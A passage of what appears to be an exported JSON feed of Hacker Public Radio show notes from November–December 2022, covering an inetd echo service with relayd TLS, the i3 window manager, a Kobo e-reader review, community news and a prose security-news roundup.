                                                            I use OpenBSD on my webserver. Sadly, systemd sockets have replaced\ninetd on many linux systems. systemd sockets are entirely painful to\nuse. I can't verify that these examples will work on non-OpenBSD systems\nbut the openbsd-inetd package is available on a wide\nvariety of debianoiads.

                                                            \n

                                                            Let's write out out echod service and the configuration\nfiles required to get it working.

                                                            \n

                                                            Edit /etc/inetd.conf

                                                            \n
                                                            # port  socket type protocol    wait/nowait user    server program      server arguments(optional)\n9999    stream      tcp         nowait      daemon  /opt/echod/echod.sh
                                                            \n

                                                            And our echod service file, located at\n/opt/echod/echod.sh:

                                                            \n
                                                            #!/bin/sh\nwhile read l; do\n        echo $l;\ndone;\n\nexit 0;
                                                            \n

                                                            Be sure to chmod +x echod.sh and\nrcctl enable inetd && rcctl start inetd or it won't\nrun.

                                                            \n

                                                            Testing

                                                            \n

                                                            Sometimes you can use curl to test a service but I will use netcat\ninstead because it doesn't assume http.

                                                            \n
                                                            $ echo "foobar" | nc -N localhost 9999\nfoobar\n$
                                                            \n

                                                            You can also use telnet to test the service:

                                                            \n
                                                            $ telnet localhost 9999\nTrying 127.0.0.1...\nConnected to localhost.\nEscape character is '^]'.\nfoo\nfoo\nfoobar\nfoobar\necho back\necho back\n^]\ntelnet> Connection closed.\n$
                                                            \n

                                                            Finger server example

                                                            \n

                                                            Many months ago, I wrote a finger server to learn more about how\ninetd works (and to write a finger daemon that doesn't allow for\nenumerating non-regular users). You can download the source\ncode for my finger server from my gitlab.

                                                            \n

                                                            This finger server only allows information from users who have a home\ndirectory in /home/ to be displayed. It also has hard-coded\nfilenames it looks for. Example output looks something like:

                                                            \n
                                                            $ finger binrc@localhost\n[localhost/127.0.0.1]\nbinrc@openbsd.my.domain\n\nhttps://0x19.org\n\nWorking on an HPR episode\n\nbinrc.nospam@nospam.protonmail.com\n\nNo .pgpkey\n\n$
                                                            \n

                                                            Gopher server example

                                                            \n

                                                            Currently, I am working on a gopher server that runs through inetd to\nlearn more about how gopher works (and to write a gopher server that\ndoesn't allow for path traversal). I have yet to add autoindex support\nbut I thought it would be good to include anyway because it really\ndemonstrates how simple it can be to write an inetd service. You can download the source code\nfor my gopher server from my gitlab.

                                                            \n

                                                            This gopher server reads input from standard in and prints the\nrequested file to standard out. Writing an inetd service can be as easy\nas writing an application specific version of cat(1).

                                                            \n

                                                            Giving the service SSL

                                                            \n

                                                            You can pair inetd with relayd to make any inetd service use ssl. In\nthis example, I am symlinking my existing httpd certs obtained with acme.sh

                                                            \n
                                                            # ln -s /etc/ssl/example.com.fullchain.pem /etc/ssl/example.com\\:9998.crt\n# ln -s /etc/ssl/private/example.com.key /etc/ssl/private/example.com\\:9998.key
                                                            \n

                                                            A sample relayd configuration looks like:

                                                            \n
                                                            log connection\n\ntcp protocol "echod" {\n        tls keypair "example.com:9998"\n}\n\nrelay "echod" {\n        listen on example.com port 9998 tls\n        protocol "echod"\n        forward to 127.0.0.1 port 9999\n}
                                                            \n

                                                            After enabling and starting relayd, it will now be listening on port\n9998. When it receives traffic on 9998, it\nwill perform all of the fancy cryptography stuff and pass the request to\nlocalhost:9999. Since relayd is listening on\n9999 and passing requests on 9999 to the echo\nserver, we are now running an echo server with ssl.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            Do I run inetd in production? No, not really. I have in the past but\nI haven't needed it seeing as finger, echo, and gopher are dead\nprotocols. Even if inetd is largely useless in the modern era, it's\nstill fun to play with.

                                                            \n","hostid":406,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"BSD, inetd","version":0,"downloads":0,"valid":1}, {"id":3735,"date":"2022-11-25","title":"i3 Tiling Window Manager","duration":953,"summary":"i3 Tiling Window Manager with a bonus KDE Plasma integration","notes":"

                                                            What is i3?

                                                            \n
                                                              \n
                                                            • Lightweight tiling window manager
                                                            • \n
                                                            • Configured with 2 files\n
                                                                \n
                                                              • ~/.config/i3/config
                                                              • \n
                                                              • /etc/i3status.conf
                                                              • \n
                                                            • \n
                                                            \n

                                                            Multi-monitor\nsupport

                                                            \n

                                                            Monitor properties

                                                            \n
                                                                xrandr -q | grep HDMI
                                                            \n
                                                              \n
                                                            • HDMI-A-0 disconnected primary (normal left inverted right x axis y\naxis)
                                                            • \n
                                                            \n
                                                                xrandr --prop | grep HDMI
                                                            \n
                                                              \n
                                                            • HDMI-A-0 disconnected primary (normal left inverted right x axis\ny axis)

                                                            • \n
                                                            • supported: Unknown, VGA, DVI-D, HDMI, DP, Wireless,\nNative

                                                            • \n
                                                            \n
                                                                ## dualmonitor.sh\n\n    #!/bin/bash\n    echo '1 for on 2 for off'\n    read monitor\n    if [ $monitor == 1 ]; then\n    xrandr --output HDMI-A-0 --auto --left-of eDP\n    elif [ $monitor == 2 ]; then\n    xrandr --output HDMI-A-0 --off\n    fi
                                                            \n

                                                            Top keybindings

                                                            \n
                                                            Mod + O --> Open Firefox\nMod + Enter --> Open Terminal\nMod + M --> Open the Mutt email client\nMod + Shift + M --> Open the Sylpheed email client\n\nMod1 + D --> Open Dmenu\nMod1 + T --> Open Tenacity
                                                            \n

                                                            Mod keys

                                                            \n
                                                            mod1    Alt_L (0x40),  Meta_L (0xcd)\n\nmod4    Super_L (0x85),  Super_R (0x86),  Super_L (0xce),  Hyper_L (0xcf)
                                                            \n

                                                            Area selection\nscreenshots

                                                            \n
                                                              bindsym --release Shift+Print exec import Pictures/Screenshots/screenshot_"$(date "+%a %b %F_%H-%M-%S")".png
                                                            \n

                                                            Screenshot entire\nscreen

                                                            \n
                                                              bindsym --release Print exec import -window root Pictures/Screenshots/screenshot_"$(date "+%a %b %F_%H-%M-%S")".png
                                                            \n

                                                            Compositor

                                                            \n

                                                            picom

                                                            \n

                                                            Set wallpaper

                                                            \n
                                                              exec --no-startup-id feh --bg-fill "~/Pictures/Wallpaper/Star\\ Trek/STAR-TREK-Starships-star-trek-2952089-1024-768.jpg"
                                                            \n

                                                            i3 with KDE

                                                            \n

                                                            systemctl --user mask plasma-kwin_x11.service

                                                            \n
                                                              \n
                                                            • plasma-i3.service
                                                            • \n
                                                            \n
                                                                [Install]\n    WantedBy=plasma-workspace.target\n\n    [Unit]\n    Description=Plasma Custom Window Manager\n    Before=plasma-workspace.target\n\n    [Service]\n    ExecStart=/usr/bin/i3\n    Slice=session.slice\n    Restart=on-failure
                                                            \n

                                                            systemctl --user daemon-reload

                                                            \n

                                                            systemctl --user enable plasma-i3.service

                                                            \n

                                                            Files

                                                            \n

                                                            ~/.config/i3/config

                                                            \n

                                                            /etc/i3status.conf

                                                            \n

                                                            dualmonitor.sh

                                                            \n

                                                            i3_with_kde_plasma_config.conf

                                                            \n

                                                            Links

                                                            \n

                                                            Wikipedia article on i3

                                                            \n

                                                            Wikipedia article on\nXinerama

                                                            \n

                                                            Archwiki entry on i3

                                                            \n

                                                            i3 User Guide

                                                            \n

                                                            KDE/Plasma with i3wm

                                                            \n

                                                            \n","hostid":318,"series":11,"explicit":0,"license":"CC-BY-SA","tags":"i3wm, window manager, lightweight apps, KDE, KDE Plasma","version":0,"downloads":0,"valid":1}, {"id":3736,"date":"2022-11-28","title":"Metasyntactic words","duration":703,"summary":"Blah blah blah (literally)","notes":"

                                                            Metasyntactic words are vocables such as \"foo\", \"bar\", \"baz\", \"blah\", and so on.

                                                            \n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linguistics, programming, syntax","version":0,"downloads":0,"valid":1}, {"id":3737,"date":"2022-11-29","title":"Review of KOBO Libra H20 e-reader","duration":708,"summary":"Rho`n talks about his new KOBO Libra H20 e-reader","notes":"

                                                            Introduction

                                                            \n

                                                            I have wanted an e-ink based e-reader for a while. Reading on my\ncomputer is ok. Reading on my phone is doable, but is very annoying. If\nI don't keep my finger on the screen, it will go blank and then I have\nto make sure and press the power button to bring the screen back to life\nbefore it locks. A tablet would probably be a nice compromise, but I\nreally wanted to try out an e-ink display, and didn't want the potential\ndistractions of a more multi-purpose device. I wanted not only and e-ink\ndisplay, but also one that ran a linux operating system, and a reader\nthat I could potentially put a different Linux distribution on, or\nmodify myself somehow. When asked what I wanted for Christmas this year\nby my wonderful girlfriend, I sent her a link to the KOBO Libra H20.

                                                            \n

                                                            KOBO Libra H20 specification

                                                            \n
                                                              \n
                                                            • processor - Freescale i.MX6 SLL 1 GHz

                                                            • \n
                                                            • RAM - 512 MB

                                                            • \n
                                                            • hard drive - 8GB

                                                            • \n
                                                            • display - 7 inch HD 300 PPI E Ink touchscreen with 1680 x 1264\nresolution

                                                            • \n
                                                            • dimensions - 6.3 by 5.7 by 0.3 inches (HWD) and 6.8 ounces or 159\nby 144 by 7.6 mm and 192g

                                                            • \n
                                                            • battery - 1200 mAh. Good battery life. Currently I use it\ninfrequently, and have charged it maybe 4 or 5 times of the last\nyear

                                                            • \n
                                                            • Connectivity -WiFi 802.11 b/g/n and Micro USB. I have it\nconnected to my home network. Have only used WiFi to update the OS. I\nuse the USB port to transfer books I've downloaded to my computer, and\nto charge the Kobo.

                                                            • \n
                                                            \n

                                                            Calibre ebook management

                                                            \n

                                                            I knew about Calibre, but had never used it. So far it has been a\ngreat e-book manager. Has very nice features for editing meta data and\norganizing my books. It will also transfer the books to the Libra H20\nand update its internal database. One thing I found is KOBO does have\nits own EPUB format that it uses to optimize display of books. In\nparticular, it fixes an issue where images in standard EPUB format don't\nscale to the size of the page. Calibre has a plugin system, and a 3rd\nparty plugin is available that will convert a standard EPUB format to\nKePUB when you transfer the book to the e-reader.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            I have been enjoying my KOBO reader. It can feel a little slow at\ntimes, especially rendering pdf files where the page is a picture of the\ntext and not made up of electronic characters, and it does render images\nin standard epub format a bit small at times. Other than these two\nthings, it is very easy to read in all lighting settings, and I enjoy\nreading using the KOBO.

                                                            \n

                                                            References

                                                            \n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"e-reader,KOBO,KOBO Libra, KOBO Libra H20, e-ink, Calibre, epub, kepub","version":0,"downloads":0,"valid":1}, {"id":3738,"date":"2022-11-30","title":"Intro to KMyMoney","duration":182,"summary":"Brief Intro to KMyMoney on KDE","notes":"

                                                            Brief discussion on kmymoney.

                                                            \n

                                                            Website: https://kmymoney.org/

                                                            \n

                                                            P.S. uses of \"scheduled tasks\" jump from 2 to 4 because #3 had\ncorruption in the recording.

                                                            \n","hostid":414,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kmymoney","version":0,"downloads":0,"valid":1}, {"id":3739,"date":"2022-12-01","title":"Multipactors for the masses.","duration":1587,"summary":"Seemingly advanced artefacts of one's locale are tangled whims upon exponential inspiration. ","notes":"

                                                            I found an copy of an old video. This episode is just a verbal\ntranscription of that lecture.

                                                            \n
                                                              \n
                                                            • Electrostatic containment.
                                                            • \n
                                                            • Fusor.
                                                            • \n
                                                            • Riggatron.
                                                            • \n
                                                            • Multipactor.
                                                            • \n
                                                            \n

                                                            Robert Murray Smith has got some thoroughly practical and useful\ninstructional material on Youtube. His channel is his name. He is keen\nto transmit knowledge and to stimulate innovation.

                                                            \n

                                                            I just looked up the books which he has written, and one of them is\non the subject of this episode:

                                                            \n

                                                            Beyond The Fusor: A New Design For A Table Top Fusion Reactor And\nHow To Build It
                                                            \nby Robert Murray-Smith.

                                                            \n","hostid":398,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"fusor,riggatron,multipactor,electrostatic ","version":0,"downloads":0,"valid":1}, {"id":3740,"date":"2022-12-02","title":"Batch File Variables; Nested Batch Files","duration":730,"summary":"More on DOS. This time it is using variables in batch files, and nesting batch files.","notes":"

                                                            This final episode of the DOS series continues the look at batch files by first looking at how you can use variables in writing your batch files. Then we look at how batch files can be nested, that is, how one batch file can call another batch file, thus chaining batch files together.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, batch files, variables, nesting","version":0,"downloads":0,"valid":1}, {"id":3741,"date":"2022-12-05","title":"HPR Community News for November 2022","duration":3276,"summary":"HPR Volunteers talk about shows released and comments posted in November 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Kinghezy.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3717Tue2022-11-01Video editing with Shotcut on a low end PCMrX
                                                            3718Wed2022-11-02Making Ansible playbooks to configure Single Sign On for popular open source applicationsJeroen Baten
                                                            3719Thu2022-11-03HPR NewsSome Guy On The Internet
                                                            3720Fri2022-11-04Practicing Batch Files With ECHOAhuka
                                                            3721Mon2022-11-07HPR Community News for October 2022HPR Volunteers
                                                            3722Tue2022-11-08Bash snippet - plurals in messagesDave Morriss
                                                            3723Wed2022-11-09HPR NewsSome Guy On The Internet
                                                            3724Thu2022-11-10My top Android appsArcher72
                                                            3725Fri2022-11-11How to use OSMAnd with Public Transport Ken Fallon
                                                            3726Mon2022-11-14Breaches ever reachingLurking Prion
                                                            3727Tue2022-11-15Expanding your filesystem with LVMRho`n
                                                            3728Wed2022-11-16Pinebook Pro reviewbinrc
                                                            3729Thu2022-11-17Contributing to SuperTuxKartCeleste
                                                            3730Fri2022-11-18Into ArizonaAhuka
                                                            3731Mon2022-11-21Speech recognition in Kdenlivednt
                                                            3732Tue2022-11-22My experience owning an Atari Jaguarm0dese7en
                                                            3733Wed2022-11-23SmiteSome Guy On The Internet
                                                            3734Thu2022-11-24Inetd: the internet super-serverbinrc
                                                            3735Fri2022-11-25i3 Tiling Window ManagerArcher72
                                                            3736Mon2022-11-28Metasyntactic wordsKlaatu
                                                            3737Tue2022-11-29Review of KOBO Libra H20 e-readerRho`n
                                                            3738Wed2022-11-30Intro to KMyMoneyKinghezy
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n5 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 12 of this month's shows:

                                                            \n
                                                            • hpr3719\n(2022-11-03) \"HPR News\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmike M. on 2022-11-04:\n\"Another form of typosquatting\"

                                                              \n
                                                            • hpr3721\n(2022-11-07) \"HPR Community News for October 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nArcher72 on 2022-11-07:\n\"Weirdos\"

                                                              \n
                                                            • hpr3722\n(2022-11-08) \"Bash snippet - plurals in messages\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nrho`n on 2022-11-11:\n\"Great tip!\"
                                                              • Comment 2:\nDave Morriss on 2022-11-16:\n\"Thanks rho`n\"

                                                              \n
                                                            • hpr3725\n(2022-11-11) \"How to use OSMAnd with Public Transport \"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2022-11-14:\n\"Useful and timely\"

                                                              \n
                                                            • hpr3726\n(2022-11-14) \"Breaches ever reaching\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nhammerron on 2022-11-15:\n\"Old LiveJournal\"

                                                              \n
                                                            • hpr3727\n(2022-11-15) \"Expanding your filesystem with LVM\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2022-11-18:\n\"Love server problems\"

                                                              \n
                                                            • hpr3728\n(2022-11-16) \"Pinebook Pro review\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2022-11-18:\n\"I liked this show.\"
                                                              • Comment 2:\none_of_spoons on 2022-11-21:\n\"Programmable ROM.\"
                                                              • Comment 3:\nb on 2022-11-24:\n\"rockchip\"
                                                              • Comment 4:\nsunzu on 2022-11-26:\n\"available distros\"

                                                              \n
                                                            • hpr3729\n(2022-11-17) \"Contributing to SuperTuxKart\"\nby Celeste.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2022-11-17:\n\"Car rambling\"

                                                              \n
                                                            • hpr3730\n(2022-11-18) \"Into Arizona\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2022-11-19:\n\"Dam?\"

                                                              \n
                                                            • hpr3731\n(2022-11-21) \"Speech recognition in Kdenlive\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCeleste on 2022-11-21:\n\"didn't know the feature\"
                                                              • Comment 2:\ndnt on 2022-11-22:\n\"re: both libre/opensource\"

                                                              \n
                                                            • hpr3733\n(2022-11-23) \"Smite\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLurking Prion on 2022-11-23:\n\"Let's do a show\"
                                                              • Comment 2:\nSome Guy On The Internet on 2022-11-24:\n\"Sure\"

                                                              \n
                                                            • hpr3734\n(2022-11-24) \"Inetd: the internet super-server\"\nby binrc.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nsinza on 2022-11-24:\n\"Great show!\"
                                                              • Comment 2:\nZen_floater2 on 2022-11-27:\n\"loved this\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-November/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            HPR RSS feeds and https\nlinks

                                                            \n

                                                            A question came up in November regarding the HPR RSS feeds. All of\nthe URLs in these feeds use 'http' as opposed to\n'https'.

                                                            \n

                                                            Although this may seem odd, this is a fairly common thing to do,\nbecause the RSS standard (such as it is) does not cater for\n'https' links. There is a concern that passing an RSS feed\nwith such links to a validator (such as the W3C Feed Validation Service)\nwill result in it being marked as invalid.

                                                            \n

                                                            Older HPR shows on\narchive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in May\n2022. We are keeping a running total here to show progress:

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            \nMonth\n\nMonth count\n\nRunning total\n\nRemainder\n
                                                            \n2022-04\n\n130\n\n130\n\n1428\n
                                                            \n2022-05\n\n140\n\n270\n\n1288\n
                                                            \n2022-06\n\n150\n\n420\n\n1138\n
                                                            \n2022-07\n\n155\n\n575\n\n983\n
                                                            \n2022-08\n\n155\n\n730\n\n828\n
                                                            \n2022-09\n\n150\n\n880\n\n678\n
                                                            \n2022-10\n\n155\n\n1035\n\n523\n
                                                            \n2022-11\n\n230\n\n1265\n\n293\n
                                                            \n\n

                                                            Updated: 2022-12-03 16:10:11

                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3742,"date":"2022-12-06","title":"Battery","duration":626,"summary":"The wikipedia article on the Battery","notes":"

                                                            A battery converts chemical energy into electrical energy by a\nchemical reaction. Usually the chemicals are kept inside the battery. It\nis used in a circuit to power other components. A battery produces\ndirect current (DC) electricity (electricity that flows in one\ndirection, and does not switch back and forth).

                                                            \n

                                                            Using the electricity from an outlet in a building is cheaper and\nmore efficient, but a battery can provide electricity in areas that do\nnot have electric power distribution. It is also useful for things that\nmove, such as electric vehicles and mobile phones.

                                                            \n

                                                            Batteries may be primary or secondary. The primary is thrown away\nwhen it can no longer provide electricity. The secondary can be\nrecharged and reused.

                                                            \n

                                                            Continue Reading\non Wikipedia

                                                            \n","hostid":30,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"battery, cell, ham, wikipedia","version":0,"downloads":0,"valid":1}, {"id":3743,"date":"2022-12-07","title":"HPR News","duration":575,"summary":"News for the Community, by the Community.","notes":"

                                                            HPR NEWS

                                                            \n

                                                            News for the community,\nby the community.

                                                            \n
                                                              \n
                                                            • TAGS: Ransomware, Malware, Phishing, Security\nBreach

                                                            • \n
                                                            • Microsoft\nConfirms Server Misconfiguration Led to 65,000+ Companies' Data\nLeak

                                                              \n
                                                                \n
                                                              • Microsoft “misconfigured” an Azure\nBlob Storage server causing a security breach. Attackers were able\nto access unauthorized customer data; business transactions and other\ninteractions between Microsoft and its customers. SOCRadar, a cyber security company, is\ncalling the security breach “BlueBleed”. SOCRadar discovered the breach\non September 24, 2022 Microsoft is downplaying the security breach but\nsecurity researcher Kevin Beaumont isn't buying it. Mr. Beaumont suggest\nMicrosoft dropped the ball on informing its customers, and federal\nregulators, of the security breach in a timely manner.
                                                              • \n
                                                            • \n
                                                            • HiddenAds\nmalware affects 1M+ Android users

                                                              \n
                                                                \n
                                                              • McAfee’s Mobile Research Team identified multiple apps containing\nmalware on the Google Play Store. After install, the malicious android\napps automatically run services without the user knowing or interacting\nwith the app. That’s right, they auto run after install. These malicious\napps then disguise themselves by changing their icon to the “Google\nPlay” icon and renaming to themselves to “Google Play” or “Settings”.\nThe malicious apps quickly create permanent malicious services. McAfee’s\nMobile Research Team demonstrates the resilience of the malware by using\nkill\n-9 on the service processes. More malicious processes generate\nimmediately as if nothing happened.
                                                              • \n
                                                            • \n
                                                            • Fully\nundetectable PowerShell backdoor disguised as part of a Windows\nupdate

                                                              \n
                                                                \n
                                                              • Director of security research at SafeBreach, Tomer Bar stated, \"The\ncovert self-developed tool and the associated C2 commands seem to be the\nwork of a sophisticated, unknown threat actor who has targeted\napproximately 100 victims.\"
                                                              • \n
                                                              • Based on the metadata found within a malicious document, this seems\nto be a LinkedIn-based spear-phishing attack, which ultimately leads to\nthe execution of a PowerShell script via a piece of embedded macro\ncode.
                                                              • \n
                                                              • \"The Macro drops 'updater.vbs' creates a scheduled task pretending\nto be part of a Windows update, which will execute the updater.vbs\nscript from a fake update folder under\n'%appdata%\\local\\Microsoft\\Windows,'\"said Tomar.
                                                              • \n
                                                              • Currently 32 security vendors and 18 anti-malware engines have\nflagged the decoy document and the PowerShell scripts as malicious.
                                                              • \n
                                                              • The findings come as Microsoft has taken\nsteps to block Excel 4.0 (XLM or XL4) and Visual Basic for\nApplications (VBA) macros by default across Office apps, prompting\nthreat actors to pivot to alternative\ndelivery methods.
                                                              • \n
                                                            • \n
                                                            • Millions of\npatients compromised in hospital data leak.

                                                              \n
                                                                \n
                                                              • Nearly 3 million Illinois & Wisconsin patients are caught in a\nhospital data breach. Advocate Aurora Health, which operates 27\nhospitals, said in a statement, “the breach may have exposed information\nincluding a patients' medical provider, type of appointments, medical\nprocedures, dates and locations of scheduled appointments, and IP\naddresses”. The system blamed the breach on its use of pixels, computer\ncode that collects information on how a user interacts with a website,\nincluding products developed by Google and Facebook's parent company\nMeta that make the collected data accessible to those companies.
                                                              • \n
                                                              • The health care industry's use of pixels has come under wide\ncriticism from privacy advocates who warn that the technology's use\nviolates federal patient privacy law. A report\npublished in June by The Markup found many of the country's top-ranked\nhospitals used the Meta Pixel, collecting and sending sensitive patient\ninformation to the social media company.
                                                              • \n
                                                            • \n
                                                            \n

                                                            User space.

                                                            \n
                                                              \n
                                                            • Texas\nsues Google for biometric data collecting\n
                                                                \n
                                                              • Texas has filed a lawsuit against Google claiming the tech behemoth\ntook users’ biometric data without permission. Texas Attorney General Ken Paxton,\nclaims Google is illegally data harvesting Texans using features and\ndevices such as: Google Photos, Google Assistant, and Nest Hub Max. Google\nspokesman José Castañeda
                                                                \nis willing to take the argument to court, “AG Paxton is once again\nmischaracterizing our products in another breathless lawsuit,”.
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Malware, Security Breach, Meta, HPR News","version":0,"downloads":0,"valid":1}, {"id":3744,"date":"2022-12-08","title":"Advent of code Day 1 - 4","duration":308,"summary":"Talking about my experience of advent of code so far","notes":"

                                                            Advent of code:

                                                            \n

                                                            https://adventofcode.com/

                                                            \n

                                                            Here are some links to the recording of my puzzle-solving:

                                                            \n\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"advent of code, aoc, java","version":0,"downloads":0,"valid":1}, {"id":3745,"date":"2022-12-09","title":"Pinecil walkthrough","duration":525,"summary":"Details of the Pinecil soldering iron menu with a secret menu","notes":"

                                                            Pinecil – a RISC-V powered, open and versatile soldering iron. It can\nbe
                                                            powered via USB-C PD as well as a DC5525 jack, and runs\ncommunity developed
                                                            software. Moreover, it is compatible with\npopular TS-100 tips. All this at half
                                                            the price of the\ncompetition.

                                                            \n

                                                            Pine64 Pinecil

                                                            \n

                                                            Version

                                                            \n
                                                              \n
                                                            • Long press on minus button shows the version
                                                              v2.18.A1A569A\n17-07-22
                                                            • \n
                                                            \n

                                                            Secret setting

                                                            \n
                                                              \n
                                                            • Long press on minus button then short press on the plus button shows\nthe version with the elapsed time the iron is on.\n
                                                                \n
                                                              • This is is seconds, with the last digit in 100mS increments\n
                                                                  \n
                                                                • example 101 = 10 seconds and 100 milliseconds
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            \n

                                                            \n

                                                            Menu

                                                            \n
                                                              \n
                                                            • Power Settings

                                                              \n
                                                                \n
                                                              • Power source\n
                                                                  \n
                                                                • Sets cutoff voltage. (DC 10V) (S 3.3V per cell, disabled power\nlimit)
                                                                • \n
                                                              • \n
                                                              • QC Voltage 20.0\n
                                                                  \n
                                                                • Max QC Voltage the iron should negotiate for
                                                                • \n
                                                                • Range: 9 to 22 volts
                                                                • \n
                                                              • \n
                                                              • PD Timeout (20)\n
                                                                  \n
                                                                • PD negotiation timeout in 100ms steps for compatibility with some QC\nchargers
                                                                • \n
                                                                • Range: 1 to 50 seconds / Off

                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Soldering settings

                                                              \n
                                                                \n
                                                              • Boost temp 410\n
                                                                  \n
                                                                • Tip temperature used in \"boost mode\"
                                                                • \n
                                                                • Range: 10 to 450 degrees (Increments of 10)
                                                                • \n
                                                              • \n
                                                              • Start-up behavior (0)\n
                                                                  \n
                                                                • 0=off | S=heat up to soldering temp | Z=standby at sleep temperature\nuntil moved | R=Standby without heating until moved
                                                                • \n
                                                              • \n
                                                              • Temperature change short (1)\n
                                                                  \n
                                                                • Temperature-change-increment on short button press
                                                                • \n
                                                                • Range: 1 to 50
                                                                • \n
                                                              • \n
                                                              • Temperature change long (10)\n
                                                                  \n
                                                                • Temperature-change-increment on short button press
                                                                • \n
                                                                • Range: 5 to 90 (Increments of 5)
                                                                • \n
                                                              • \n
                                                              • Allow locking buttons (D)\n
                                                                  \n
                                                                • While soldering, hold down both buttons to toggle locking them
                                                                • \n
                                                                • (D=disable | B=boost mode only | F=full locking)

                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Sleep mode

                                                              \n
                                                                \n
                                                              • Motion Sensitivity (7)\n
                                                                  \n
                                                                • 0=off | 1=least sensitive | ... | 9=most sensitive
                                                                • \n
                                                              • \n
                                                              • Sleep temp (110 degrees)\n
                                                                  \n
                                                                • Tip temperature while in \"sleep mode\"
                                                                • \n
                                                                • Range: 10 to 300
                                                                • \n
                                                              • \n
                                                              • Sleep timeout (50s)\n
                                                                  \n
                                                                • Interval before \"sleep mode\" kicks in (s=seconds | m=minutes)
                                                                • \n
                                                                • Range: 10s to 50s | 1m to 10m | Off
                                                                • \n
                                                              • \n
                                                              • Shutdown timeout 10m\n
                                                                  \n
                                                                • Interval before the iron shuts down (m=minutes)
                                                                • \n
                                                                • Range: 1m to 60m | Off

                                                                • \n
                                                              • \n
                                                            • \n
                                                            • User interface

                                                              \n
                                                                \n
                                                              • Temperature unit (C)\n
                                                                  \n
                                                                • C=Celsius | F=Fahrenheit
                                                                • \n
                                                              • \n
                                                              • Display orientation (R)\n
                                                                  \n
                                                                • R=right-handed | L=left-handed | A=automatic
                                                                • \n
                                                              • \n
                                                              • Cooldown flashing ☐\n
                                                                  \n
                                                                • Flash the temperature reading after heating was halted while the tip\nis still hot
                                                                • \n
                                                              • \n
                                                              • Scrolling speed (S)\n
                                                                  \n
                                                                • Speed info text scrolls past at (S=slow | F=fast)
                                                                • \n
                                                              • \n
                                                              • Swap +- key ☐\n
                                                                  \n
                                                                • Reverse assignment of buttons for temperature adjustment
                                                                • \n
                                                              • \n
                                                              • Anim. speed (M)\n
                                                                  \n
                                                                • Pace of icon animations in the menu (0=off | S=slow | M=medium |\nF=fast)
                                                                • \n
                                                              • \n
                                                              • Anim. loop ☐\n
                                                                  \n
